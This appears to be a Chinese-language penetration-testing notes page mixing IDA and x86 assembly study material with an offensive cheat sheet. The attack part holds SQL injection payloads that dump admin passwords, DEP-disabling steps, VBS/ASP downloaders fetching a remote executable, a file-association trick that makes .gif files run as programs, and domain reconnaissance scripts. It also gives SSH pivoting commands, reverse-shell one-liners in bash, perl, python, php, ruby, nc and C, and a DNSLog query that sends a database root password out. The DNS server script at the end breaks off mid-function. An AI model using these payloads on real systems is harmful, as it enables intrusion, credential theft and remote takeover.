安全技术

快捷键 作用
Alt+T 搜索文本
Ctrl+1 Quick View导航
空格键 图形视图/汇编视图切换
Shift+F3 切换到Functions窗口
Shift+F4 切换到Names窗口
Shift+F7 切换到Segments窗口
Shift+F12 切换到Strings窗口
IDA View内
Ctrl+Enter 前进(函数调用)
Esc 后退(函数调用)

MYSQL篇
1.内置函数和变量

1
@@datadir,version(),database(),user(),load_file(),outfile() 

2.利用concat(),group_concat(),concat_ws()拼接查询结果
实例:

1
2
xxx.php?id=1 and 1=2 union select 1,
group_concat(username,0x3a,password),3 from user

3.使用内建数据库查询表段和字段
查表段:

1
2
3
xxx.php?id=1 and 1=2 union select 1,2,table_name from 
(select * from information_schema.tables where table_schema=数据库名的hex
order by table_schema limit 0,1)t limit 1–

查字段:

1
2
3
xxx.php?id=1 and 1=2 union select 1,2,column_name from 
(select * from information_schema.columns where table_name=表名的hex
and table_schema=数据库名hex值 order by 1 limit 1,1)t limit 1–

这里可以再结合下concat的拼接功能

1
2
3
4
xxx.php?id=1 and 1=2 union select 1,2,group_concat(column_name,0x20) 
from (select * from information_schema.columns where table_name=表名的hex
and table_schema=数据库名hex值 order by 1 limit 0,n)t limit 1–
[n表示第n条数据]

Access篇

猜表名

1
*.asp?id=1 and exists (select * from admin)

猜列名

1
*.asp?id=1 and exists (select password from admin)

Order by查询

1
*.asp?id=1 order by 3

union 查询

1
*.asp?id=1 union select 1,password,3 from admin

不支持union的情况
先判断内容的长度

1
*.asp?id=132 and (select top 1 len(user) from admin) >5

然后一个一个猜

1
*.asp?id=132 and (select top 1 asc(mid(user,1,1)) from admin)>97

例如确定asc(mid(user,1,1))的值是97,即可判断出user的第一个字符为a
确定了之后继续从第二个位置猜

1
*.asp?id=132 and (select top 1 asc(mid(user,2,1)) from admin)>97

以此类推

MSSQL篇
基于报错的MSSQL注入:
判断是否是MSSQL

1
'and exists (select * from sysobjects) --

如果返回正常,就说明是MSSQL,否则当sysobjects不存在,是会报错的。

猜表名:

1
'and exists(select * from admin)--

如果存在,会返回正常页面,否则报错,就是不存在。

Windows XP SP3
在Windows XP SP3中,关闭DEP的方法是:
编辑C:\boot.ini,你大概会看到如下内容

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" 
/noexecute=optin /fastdetect

要关闭DEP,将/noexecute=optin 改为/excute,重启系统即可。

Windows 7
Windows7中不是通过boot.ini来保护了,需要在命令行中输入bcdedit,如果观察到输出的最后一项为
nx 1
表示DEP保护是开启的,并且级别为1
只需要运行

bcdedit /set nx alwaysoff

就可以了,然后重启系统。

Downloader 1

1
2
3
4
5
6
7
8
9
10
11
12
Set args = Wscript.Arguments
Url = "http://x.x.x.x/x.exe"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile " C:\%homepath%\file", 2 '
end with

Downloader 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName, s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
End With
Set Ads = Nothing
End Sub

eWebEditor_SaveRemoteFile "c:\x.exe", "http://x.x.x.x/x.exe"
%>

1
2
3
4
5
6
7
8
@echo off 
color 1A
ECHO Windows Registry Editor Version 5.00>gif.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gif]>>gif.reg
ECHO "Content Type"="application/x-msdownload">>gif.reg
ECHO @="exefile">>gif.reg
regedit /s gif.reg>nul 2>nul
del /s gif.reg>nul 2>nul

Get System Info

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
@echo off
ipconfig /all
net start
tasklist /v
net user
net localgroup administrator
netstat -ano
net use
net view
net view /domain
net group /domain
net group "domain users" /domain
net group "domain admins" /domain
net group "domain controllers" /domain
net group "exchange domain servers" /domain
net group "exchange servers" /domain
net group "domain computers" /domain
echo #########system info collection
systeminfo
ver
hostname
net user
net localgroup
net localgroup administrators
net user guest
net user administrator
echo #######at- with atq#####
echo schtask /query
echo
echo ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
ipconfig/all
route print
arp -a
netstat -anipconfig /displaydns
echo
echo #######service############
sc query type= service state= all
echo #######file-##############
cd \
tree -F

Get Task List

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
''''''''''''''''''''''''''''''''''''
' tasktool.vbs@b4dboy
''''''''''''''''''''''''''''''''''''

On Error Resume Next
Dim obj, pross, pid, killName
pid = WScript.Arguments(1)
killName = WScript.Arguments(0)

Set obj = GetObject("Winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set pross = obj.Execquery("Select * From Win32_Process")
Wscript.echo "[PID]" & VbTab & "[ProName]"

For Each proccess In pross
If (WScript.Arguments.Count = 2) And (CStr(pid) = CStr(proccess.ProcessID)) Then
proccess.Terminate 0
ElseIf Ucase(proccess.Name) = Ucase(killName) Then
proccess.Terminate 0
Else
WScript.echo proccess.ProcessID & VbTab & proccess.Name
End If
Next

在很多时候拿到了内网的一台主机,我们需要用它做跳板来对内网进一步扩大战果。
也许方法很多,meterpreter,nc等等。但是最方便也最有可能穿透防火墙的方法,就是用ssh。
分为四种类型:
本地转发,远程转发,跳板转发,动态转发。
本地转发
假设攻击机A主机为本机,ip是y.y.y.y,用户是hacker,被攻击且用作跳板的主机是B,ip是
x.x.x.x,对应的内网ip是10.0.0.2,用户是root,ssh的端口是22。
假设B机器上的80端口开放了一个服务,但是只有B主机本机上才能访问,这时候可以使用本地转
发,在A机器上执行命令:

1
ssh -L 8080:localhost:80 [email protected] 

这样,在本机A中访问localhost:80,数据被转发到B主机的80端口,即实现了访问B机器的本地
服务。
很常见的一个实例就是攻击者拿下了某目标内部的网关服务器,但是出于安全考虑网管的web控
制台界面只有在网关服务器自身上才能访问,这时候就可以通过这种方式转发流量,方便的操作
网关服务器的web控制台了。
上面的情况,是基于A主机可以ssh到B的情况,但假如从A到B的ssh连接被拒绝,而恰好B主机的
防火墙没有禁止其使用ssh外连,这时候就可以通过远程转发来实现上述同样的效果。
在B机器上执行命令:

1
ssh -R 8080:localhost80 [email protected] 

这时候在A机器上访问自身的8080端口,数据也是被转发到了B主机的80端口上的。
可见,这种方式受到的局限比较多,因为如果能够在B主机上使用ssh外连了,还需要通过ssh来
转发流量的情况也是很少见的,但也不是没有。
以上两种转发,都是只对跳板服务器自身的服务,很多时候,渗透需要的是内网中一台稳定的跳板,
这时候就可以使用
跳板转发来实现多主机之间转发。
假设现在需要通过B主机作为跳板,来访问与B处于同一内网中的机器C的80端口,假设C的ip是
10.0.0.3,这时候可以在攻击机上执行如下命令:

1
ssh -g -L 8080:10.0.0.3:80 [email protected] 

此时在A主机上8080端口的流量就被转发到C主机的80端口上了。
最有用的就是最后要介绍的,
动态转发,这种转发可以将流量随心所欲的转发,此时实现的效果就相当于代理服务器,在A机器
上用下面的命令实现:

1
ssh -D 8080 [email protected] 

此时在A机器上配置SOCKS代理端口localhost:8080,就可以以B为代理服务器随心所欲的畅游。
最后补充使用ssh进行X转发的命令,其实很简单:

1
ssh -X [email protected] 

这样连接上以后,目标机器的X服务器所做的操作都会通过x协议发送到本地,很方便的实现了可
视化操作。
例如在终端输入firefox,就可以在本地弹出一个实际上运行在远程的firefox进程。

bash

1
$ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

perl

1
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.88.20",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

1
php -r '$sock=fsockopen("x.x.x.x",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby

1
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc

1
$ nc -e /bin/sh 10.0.0.1 1234
1
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
1
$ nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

jsp

1
2
3
r = Runtime.getRuntime() 
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
int fd;
struct sockaddr_in sin;
char rms[21]="rm -f ";
daemon(1,0);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]); // host
sin.sin_port = htons(atoi(argv[2])); // port
bzero(argv[1],strlen(argv[1])+1+strlen(argv[2]));
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
perror("[-] connect()");
exit(0);
}
strcat(rms, argv[0]);
system(rms);
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execl("/bin/sh","sh -i", NULL);
close(fd);
}

相关学习资源

二进制安全相关工具和教程站点

内容体系

  • 基本概念
  • IA-32处理器体系结构
  • 汇编语言基础
  • 数据传送、寻址和算术运算
  • 过程
  • 条件处理
  • 整数算术指令
  • 高级过程
  • 字符串和数组
  • 结构和宏
  • 32位Windows变成
  • 高级语言结构
  • 16位MS-DOS程序设计
  • 磁盘基础知识
  • BIOS程序设计
  • 高级MS-DOS程序设计
  • 高级主题

汇编和二进制基础知识

  • CPU指令的基本单位

    • 1 byte = 8 bit 0~155
    • 1 word = 2 byte 0~65535
    • 1 double word = 2 word 0~4294967295
    • 1 kilobyte = 1024 byte
    • 1 megabyte = 1024 kbyte
  • 总线

    • 数据总线
    • 控制总线
    • 地址总线
  • 地址空间

    • 32位寄存器可以使用0-2^32-1,可对4GB内存进行寻址
  • 寻址方式

    • 段基址*10H+段内偏移地址,形成20位地址
    • 段基址是16的倍数,长度最大不超过64K
  • 寄存器(80386处理器中的寄存器分为8组,每组宽度为32位)

    • 通用寄存器
      • EAX: 累加器 在乘法和除法指令中被自动使用
        • AX(低16位) AH(高8位) AL(低8位)
      • EBX: 基址寄存器
        • BX BH BL
      • ECX: 计数器 循环计数器
        • CX CH CL
      • EDX: 数据寄存器
        • DX DH DL
      • ESI: 源变址寄存器
        • SI
      • EDI: 目的变址寄存器
        • DI
      • EBP: 扩展基址指针寄存器 由高级语言用来引用函数参数和局部变量
        • BP
      • ESP: 栈指针寄存器
        • SP
    • 段寄存器
      • CS:代码段(Code Segment)
      • DS:数据段(Data Segment)
      • ES:附加数据段(Extra Segment)
      • SS:堆栈段(Stack Segment)
      • FS:附加段
      • GS 附加段
    • 指令寄存器
      • EIP 指令指针寄存器,低16位为IP(8086),它存储的是下一条要执行指令的地址。
    • 标志寄存器
      • IOPL(I/O Privilege Level): I/O特权级字段,宽度为2bit,它指定了I/O指令的特权级。如果当前的特权级别在数值上小于或等于IOPL,那么I/O指令可执行。否则,将发生一个保护性异常。
      • NT(Nested Task): 控制中断返回指令IRET,它宽度为1位。NT=0,用堆栈中保存的值恢复EFLAGS,CS和EIP从而实现中断返回;NT=1,则通过任务切换实现中断返回。
      • RF(Restart Flag): 重启标志,它的宽度是1位。它主要控制是否接受调试故障。RF=0接受,RF=1忽略。如果你的程序每一条指令都被成功执行,那么RF会被清0。而当接受到一个非调试故障时,处理器置RF=1。
      • VM(Virtual Machine): 虚拟8086模式(用软件来模拟8086的模式,所以也称虚拟机)。VM=0,处理器工作在一般的保护模式下;VM=1,工作在V8086模式下。
      • PSW(Program Flag)程序状态字寄存器,是一个16位寄存器,由条件码标志(flag)和控制标志构成
        • CF(Carry Flag): 进位标志位,由CLC,STC两标志位来控制,在无符号算数运算的结果无法容纳于目的操作数中时被设置
        • PF(Parity Flag): 奇偶标志位
        • AF(Assistant Flag): 辅助进位标志位
        • ZF(Zero Flag): 零标志位
        • SF(Singal Flag): 符号标志位
        • IF(Interrupt Flag): 中断允许标志位,由CLI,STI两条指令来控制
        • DF(Direction Flag): 向量标志位,由CLD,STD两条指令来控制
        • OF(Overflow Flag): 溢出标志位
    • 系统地址寄存器
    • 控制寄存器
    • 调试寄存器
    • 测试寄存器

PSW寄存器详解

15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0
OF DF IF TF SF ZF AF PF CF
标志位 说明
OF(Overflow Flag)溢出标志 溢出时为1,否则置0
SF(Sign Flag)符号标志 结果为负时置1,否则置0
ZF(Zero Flag)零标志 运算结果为0时ZF位置1,否则置0
CF(Carry Flag)进位标志 进位时置1,否则置0
AF(Auxiliary carry Flag) 辅助进位标志,记录运算时第3位(半个字节)产生的进位置。有进位时1,否则置0
PF(Parity Flag)奇偶标志 结果操作数中1的个数为偶数时置1,否则置0
DF(Direction Flag)方向标志 在串处理指令中控制信息的方向
if(Interrupt Flag)中断标志
TF(Trap Flag)陷阱标志

汇编指令

  • 整数

    • d 十进制
    • b 二进制
    • q/o 八进制
    • h 十六进制
    • r 编码实数
    • t 十进制(可选)
    • y 二进制(可选)
  • 整数表达式优先级

      1. ()
      1. +,- 单目加减
      1. *,/
      1. MOD 取模
      1. +,- 加减
  • 数据传送

    • 算术运算/逻辑运算
    • 移位
    • 控制转移
    • 串操作
    • 高级语言支持
    • 条件字节设定
    • 位操作
    • 处理器控制
    • 保护方式
  • 通用数据传送

    • 累加器专用传送
    • 地址传送
    • 标志传送
  • 伪指令

    • .data 标识包含变量的区域
    • .code 标识程序中包含指令的区域
    • func PROC PROC标识了过程的开始,func可以是任何名字
  • 代码标号

    1
    2
    3
    target:
    mov ax,bx
    jmp target
  • 数据标号

    1
    first BYTE 10
  • 注释

    1
    2
    3
    4
        ;单行注释
    COMMENT ;
    多行注释
    ;
1
2
3
4
5
6
7
8
9
mov        赋值
add 两个值相加
sub 相减
mul 相乘
inc 加1
dec 减1
neg 求相反数(转换成对应的二进制补码,补码可通过将目的操作数的所有数据位取反加1)
jmp 跳转到一个新位置
call 调用一个过程
1
2
3
4
5
6
7
8
9
10
11
12
byte    8位无符号整数
sbyte 8位有符号整数
word 16位无符号整数
sword 16位有符号整数
dword 32位无符号整数
sdword 64位有符号整数
fword 48位整数
qword 64位整数
tbyte 80位整数
real4 32位IEEE短实数
real8 64位IEEE长实数
real10 80位IEEE拓展精度实数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
.data
list BYTE 10,20,30,40

;在内存中的形态:
; 0000:10
; 0001:20
; 0002:30
; 0004:50

list BYTE 10,20,30,40
BYTE 50,60,70,80
BYTE 81,82,83,84

;定义字符串
str1 BYTE 'This is a test', 0 ;
str2 BYTE "This is a test ",0dh,0ah, ;CRLF
BYTE "This is a test ",0dh,0ah,0 ;

dup
BYTE 20 DUP(0) ;20字节,全部用0填充
BYTE 4 DUP("stack") ;20字节,"STACKSTACKSTACKSTACK"

word1 WORD 65535 ;最大无符号字
word2 WORD -32768 ;最小无符号字
word3 WORD ? ;未初始化的字

push 压栈
pop 出栈
MOV 赋值
MOVZX 零拓展传送
MOVSX 符号拓展传送

1
2
3
4
5
MOV DL,90H        ;DL=90H
MOVSX AX,DL ;AX=FF90H
MOVZX AX,DL ;AX=0090H
MOVSX ESI,DL ;ESI=FFFFFF90H
MOVZX ESI,DL ;ESI=00000090H

CBW 将字节数据扩展成字,符号位扩展到AH中
CWD 将字数据扩展成双字,符号位放到DX中

1
2
3
MOV AL,70H    ;
CBW ;AX=0070(2byte,1word)
CWD ;DX=0000,AX=0070(4byte,2word)

XCHG 交换两个操作数的数据,支持8位、16位、32位
PUSH 入栈,支持立即数入栈
PUSHA 将8个16位通用寄存器全部入栈,顺序为AX,CX,DX,BX,SP,BP,SI,DI,然后SP指针寄存减16,内容为PUSHA指令执行前的内容
PUSHAD 将8个32位通用寄存器全部入栈,顺序为EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI,然后ESP的内容是执行指令PUSHAD之前的内容
POP 出栈
POPA 8个16位通用寄存器全部出栈,堆栈指针寄存器不是堆栈中弹出的内容,而是加16之后得到
POPAD 8个32位通用寄存器全部出栈,ESP的内容是执行指令PUSHAD之前的内容
LEA 取有效地址

1
2
3
MOV EAX, 11111111h
MOV EBX, 11111111h
LEA ECX, [EAX+EBX] ;ECX = 22222222h

LDS 装入指针,目的寄存器必须是16位或32位的通用寄存器,操作数必须是内存单元,不能是立即数

1
2
LDS EAX, [1000H];将偏移地址为1000,1001h这两个字节单元的内容送给DS,将1002,1003,1004,1005这四个字节单元的内容送往EAX
LDS AX,[1000H];这表明将偏移地址为1000,1001H这两个字节单元的内容送给段寄存器DS,将偏移地址1002,1003H两个字节单元的内容送往EAX

LES 同LDS,不过段寄存器是ES
LFS 同LDS,不过段寄存器是FS
LGS 同LDS,不过段寄存器是GS
LSS 同LDS,不过段寄存器是SS

LAHF 将标志寄存器的低8位送至AH中,包括SF,ZF,ZF,PF,CF。
SAHF 与LAHF的过程恰好相反
PUSHF 将标志寄存器的EFLAGS低16位内容入栈
PUSHFD 将标志寄存器EFLAGS的内容入栈
POPF 将栈顶的一个字弹出,并将它送到标志寄存器EFLAGS的低16位
POPFD 将栈顶的两个字弹出,并将它送到标志寄存器EFLAGS

OFFSET 取当前内存的地址

1
offset Array

EBP EBP指向栈底
ESP 指向栈区域的栈顶位置
EIP 指向下一个将会被执行的指令

EAX = [AX]+[AH+AL]

db: 声明 1 byte(字节)变量
dw: 声明 2 byte(字节)变量 = 1 word
dd: 声明 4 byte(字节)变量 = 2 word = 1 double word

1
2
3
4
mov eax ebx
mov eax 333h
mov eax [ebx]
mov eax [ebx+66h]

和C语言的对比:

a = b[0x66] => mov eax [ebx+66h]

  • 数据交换

    1
    2
    3
    4
    5
    lea edx, b            ;将edx指向b
    mov [edx], ebx ;赋值a = b
    mov ebx, a ;赋值ebx = a
    mov b,ebx ;赋值a = b
    mov ecx, offset a ;将ecx指向a
  • 条件跳转:
    cmp 比较结果
    jx 检查条件x,有大于、小于、等于三个状态

je 相等时跳转
jne 不相等时跳转
jb、ja 比较无符号数然后决定是否跳转
jl、jg 比较有符号数然后决定是否跳转
jbe 在一个无符号数小于或者等于另一个无符号数时发生跳转
jmp 无条件跳转

1
2
3
4
5
cmp EAX,EBX        ;比较EAX和EBX
jz xxx ;如果相等就跳转到xxx
cafebabe
cmp [ECX], EDX ;比较*ECX和EDX的值
JAE yyy ;如果*ECX>=EDX,就跳转到yyy
  • 函数调用:
    1
    2
    3
    push offset, LibName    ;将字符串偏移量压入堆栈
    call LoadLibrary ;进行函数调用
    mov h,EAX ;将EAX中的值传给变量h

PE、ELF基础知识

  • PE文件结构:
    .text 二进制代码
    .data 初始化的数据块
    .idata 动态链接库等外来函数与文件
    .rsrc 资源

文件偏移地址 = 虚拟内存地址-装载基址-节偏移
= RVA - 节偏移

  • 文件幻数
    Windows PE File
    1
    4d 5a                            MZ
    Jpeg Image File
    1
    ff d8 ff e0 00 10 4a 46 49 46    JFIF
    Java .class file
    1
    ca fe ba be

基本工具

  • PE Tools 分析Windows进程和可执行文件
  • PEiD 识别构建PE文件所使用的编译器
  • nm 检查中间目标文件(拓展名为.o的文件),可以显示符号、函数等信息
    动态链接二进制文件,未定义的符号在C语言共享库中定义
  • ldd 链接器(静态链接、动态链接)
    静态链接:链接器将应用程序的目标文件和所需的库文件组合起来,可执行文件更大
    动态链接:不需要复制库,方便维护,可执行文件更小
    1
    2
    gcc -o test test.c
    gcc -o test test.c --static
    编译好之后可以通过file参数查看类型
    1
    2
    ldd ./test    
    #查看库依赖(mac:otool -L windows:dumpbin)
    `objdump 节头部 程序每节的摘要信息
    专用头部 程序内存分布信息,还有运行时加载器所需的其他信息
    调试信息 程序中的调试信息
    符号信息 类似nm的方式转储符号表信息
    反汇编代码清单 对文件中标记为代码的部分执行线性扫描反汇编
  • dumpbin 从PE文件提取符号、导入函数名、导出函数名和反汇编代码
  • c++filt nm test | grep demo |c++filt
    跟C++函数重载有关的操作,显示重载函数的不同形态
  • strings 提取文件中的字符串内容 strings test
    strings -t 可显示字符串文件的偏移量信息
    strings -e 可搜索更广泛的字符

反汇编器:

1
2
3
msfpayload linux/x86/shell_findport CPORT=4444 R >test
ls -l test
ndisasm -u test

分析网络数据包中可能包含shellcode的计算机网络攻击时,可以采用流式反汇编器来反汇编数据包中包含shellcode的部分

栈帧: 程序运行时栈中分配的内存块,专门用于特定的函数调用。
因为每个递归函数调用都有自己的栈帧,使得递归成为可能。

  • 函数调用步骤:
    1.调用方将被调用方所需的参数放到该函数所采用的调用约定制定的位置
    2.调用方将控制权转交给被调用方
    3.如有必要,为被调用的函数配置栈指针
    4.被调用方为局部变量分配空间
    5.被调用函数执行操作
    6.函数完成操作后,为局部变量保留的栈空间被释放。(逆向执行第4步中的操作)
    7.还原寄存器值
    8.被调用函数将控制权返还给调用方
    9.删除栈中的参数

  • 调用约定: 通过调用函数将函数参数存入栈中,调用函数必须存储被调用函数所需的参数。
    调用约定指定调用方放置函数所需参数的具体位置。
    调用约定可能要求将参数放置在制定的寄存器、程序栈或者寄存器和栈中。
    c调用规定。
    cdecl调用约定规定:
    调用方按从右到左的顺序将函数参数放入栈中。
    在被调用的函数完成操作时,调用方负责从栈中清除参数。


ida基本知识

ida目录结构

  • cfg 配置文件
  • idc 包含内置脚本语言IDC所需的核心文件
  • ids 包含一些符号文件
  • loaders 在加载过程中用于识别和解析PE或ELF等一直格式的IDA拓展
  • plugins 包含专门为IDA提供的附加功能
  • procs 包含已安装的IDA版本所支持的处理器模块
  • sig 包含IDA在各种模式匹配操作中利用的现有代码的签名
  • til 包含一些类型库信息

ida基本操作

  • HKEY_CURRENT_USER\Software\Hex-Rays\IDA IDA注册表项

ida数据库文件

要分析的文件为main.exe
会在目录中生成

  • main.id0 二叉树形式的数据库
  • main.id1 包含描述每个程序字节的标记
  • main.nam 包含于IDA的Names窗口中显示的给定程序位置有关的索引信息
  • main.til til文件用于存储与一个给定数据库的本地类型定义有关的信息
  • main.idb ida数据库文件

IDA创建数据库

从磁盘加载文件,解析文件头信息,创建包含代码或数据的程序块
编译器识别:IDA尝试确定用于创建输入文件的编译器,如果能确定,就可以扫描该编译器使用的样板代码序列
函数参数和局部变量识别:
数据类型信息:

ida桌面

  • IDA View-A
  • Hex View-A Hex View可以右键编辑并提交
  • Hex View-B
  • String Window
  • Names Window F:常规函数
  • L:库函数,通过签名匹配算法来识别
  • I:导入的名称,通常为共享库导入的函数名称。
  • C:命名代码
  • D:数据。已命名数据的位置通常表示全局变量。
  • A:字符串数据。
  • sub_xxxx:地址xxxx处的子例程
  • loc_xxxx:地址xxxx出的e指令
  • byte_xxx:位置xxx处的8位数据
  • word_xxx:位置xxx处的16位数据
  • dword_xx:位置xx处的32位数据
  • unk_xxxx:位置xxxx处的大小未知的数据

ida热键

  • IDA>View:
  • View>Open Subviews 恢复需要的窗口
  • ESC 后退(跳转到上一个)
  • Ctrl+Enter 前进(跳转到下一个)
  • G (GoTo) Jump To Address

加深理解-汇编指令、长度和十六进制的关系

地址 指令 16进制 指令长度
.text:00401010 push ebp 55 1byte
.text:00401011 mov ebp, esp 8B EC 2byte
.text:00401013 sub esp, 44h 83 EC 44 3byte
.text:00401016 push ebx 53 1byte

DNSLog,简单来说,就是通过记录对于域名的DNS请求,通过dns请求这个相对“隐蔽”的渠道,来委婉地获取到想要获得的信息。
例如,在一个针对mysql数据库的注入中,如果没有回显,可能很多时候就要歇菜。
但如果对方的数据库服务器连接公网并且是Windows机器的话,就可以用这种姿势来获取信息:

1
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM user WHERE user='root' LIMIT 1),'.nogan.ga\\xxx'))

你将会看到类似:

当然你可能会说直接用http协议传输不就好了吗,确实http协议也可以,但是http协议毕竟有局限的地方,例如容易被防火墙限制等。
而dns作为一种基础协议有时候并不会被随便禁用,一些内网当中对于DNS协议的管控和检测是个薄弱的点,相对http来说DNS协议也更加隐蔽。

近几年DNSLog被尤其广泛地运用于无回显的SQL注入、命令执行、XML实体注入等漏洞的检测当中,算是一门很基础的老技术了。

关于DNSLog的具体应用,这里就不多说了,感兴趣的可以进一步阅读以下文章:

1
2
3
4
5
https://www.anquanke.com/post/id/98096

http://www.freebuf.com/column/158579.html

https://www.cnblogs.com/afanti/p/8047530.html

那么如何低成本搭建dnslog服务器?接下来就来简要分享一个低成本构建DNSLog服务的方法。

准备材料:

(1) 一台低成本的VPS:这里推荐使用某国外的便宜VPS,完整root权限,单核512MB/10GSSD,¥128/年,购买链接在文章最后
(2) 一个可以接收邮件的邮箱:用来注册免费域名

搭建过程

注册域名

首先到 https://freenom.com 注册用户,同时注册一个免费的域名
以我这里为例,注册一个nogan.ga

注册的时候,在DNS选项中,选择使用自己的DNS,新建DNS服务器的地址,例如我这里自定义了两个dns服务器,分别是
ns0.nogan.ga和ns1.nogan.ga,并且将他们的地址指向我的VPS服务器。

点击Continue,进入到结算页面。
如果你上一步没有注册用户,那么可以直接在这里填你用来注册用户的邮箱,然后根据指引进行操作。
如果注册了用户,只需要直接登录就可以了。

进入到Review and Checkout页面,填入一些你的基本信息就可以了

这里记得勾选Lock profile,你的信息就不会被whois查询到了。

接着下一步,勾选Complate Order,域名就注册成功了。

部署DNS服务

登录你的VPS服务器,运行下面这个python脚本,将在你的VPS主机监听UDP 53端口,并且回复DNS响应包:

记得修改IP地址和NS域名,在最后。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2014-06-29 03:01:25
# @Author : Your Name ([email protected])
# @Link : http://example.org
# @Version : $Id$

import SocketServer
import struct
import socket as socketlib
# DNS Query
class SinDNSQuery:
def __init__(self, data):
i = 1
self.name = ''
while True:
d = ord(data[i])
if d == 0:
break;
if d < 32:
self.name = self.name + '.'
else:
self.name = self.name + chr(d)
i = i + 1
self.querybytes = data[0:i + 1]
(self.type, self.classify) = struct.unpack('>HH', data[i + 1:i + 5])
self.len = i + 5
def getbytes(self):
return self.querybytes + struct.pack('>HH', self.type, self.classify)



# DNS Answer RRS
# this class is also can be use as Authority RRS or Additional RRS
class SinDNSAnswer:
def __init__(self, ip):
self.name = 49164
self.type = 1
self.classify = 1
self.timetolive = 190
self.datalength = 4
self.ip = ip

def getbytes(self):
res = struct.pack('>HHHLH', self.name, self.type, self.classify, self.timetolive, self.datalength)
s = self.ip.split('.')
res = res + struct.pack('BBBB', int(s[0]), int(s[1]), int(s[2]), int(s[3]))
return res

# DNS frame
# must initialized by a DNS query frame
class SinDNSFrame:
def __init__(self, data):
(self.id, self.flags, self.quests, self.answers, self.author, self.addition) = struct.unpack('>HHHHHH', data[0:12])
self.query = SinDNSQuery(data[12:])

def getname(self):
return self.query.name

def setip(self, ip):
self.answer = SinDNSAnswer(ip)
self.answers = 1
self.flags = 33152

def getbytes(self):

res = struct.pack('>HHHHHH', self.id, self.flags, self.quests, self.answers, self.author, self.addition)
res = res + self.query.getbytes()
if self.answers != 0:
res = res + self.answer.getbytes()
return res

# A UDPHandler to handle DNS query
class SinDNSUDPHandler(SocketServer.BaseRequestHandler):
def handle(self):
data = self.request[0].strip()
dns = SinDNSFrame(data)
socket = self.request[1]
namemap = SinDNSServer.namemap
if(dns.query.type==1):
# If this is query a A record, then response it
name = dns.getname();
toip = None
ifrom = "map"
if namemap.__contains__(name):
# If have record, response it
# dns.setip(namemap[name])
# socket.sendto(dns.getbytes(), self.client_address)
toip = namemap[name]
elif namemap.__contains__('*'):
# Response default address
# dns.setip(namemap['*'])
# socket.sendto(dns.getbytes(), self.client_address)
toip = namemap['*']
else:
# ignore it
# socket.sendto(data, self.client_address)
# socket.getaddrinfo(name,0)
try:
toip = socketlib.getaddrinfo(name,0)[0][4][0]
ifrom = "sev"
# namemap[name] = toip
# print socket.getaddrinfo(name,0)
except Exception, e:
print 'get ip fail'
if toip:
dns.setip(toip)

